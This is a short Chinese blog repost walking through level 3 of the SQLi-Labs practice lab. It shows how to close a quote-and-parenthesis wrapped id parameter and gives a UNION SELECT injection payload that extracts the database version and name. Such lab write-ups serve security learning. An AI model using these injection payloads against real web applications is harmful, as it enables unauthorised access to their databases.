首页 > 数据库技术 > 详细

SQLI DUMB SERIES-3

时间:2019-03-01 23:50:56      阅读:463      评论:0      收藏:0      [点我收藏+]

less3

输入?id=1‘

技术分享图片

说明输入的id旁边加了单引号和括号(‘id‘),直接在1后面加入“ ‘) ”,闭合前面的单引号和括号。

方法同less1相同。

例如:查询PHP版本和数据库名字

?id=1‘) union select 1,version(),database() %23

 技术分享图片

 

 

 

 

 

 

 

SQLI DUMB SERIES-3

原文:https://www.cnblogs.com/momoli/p/10459106.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!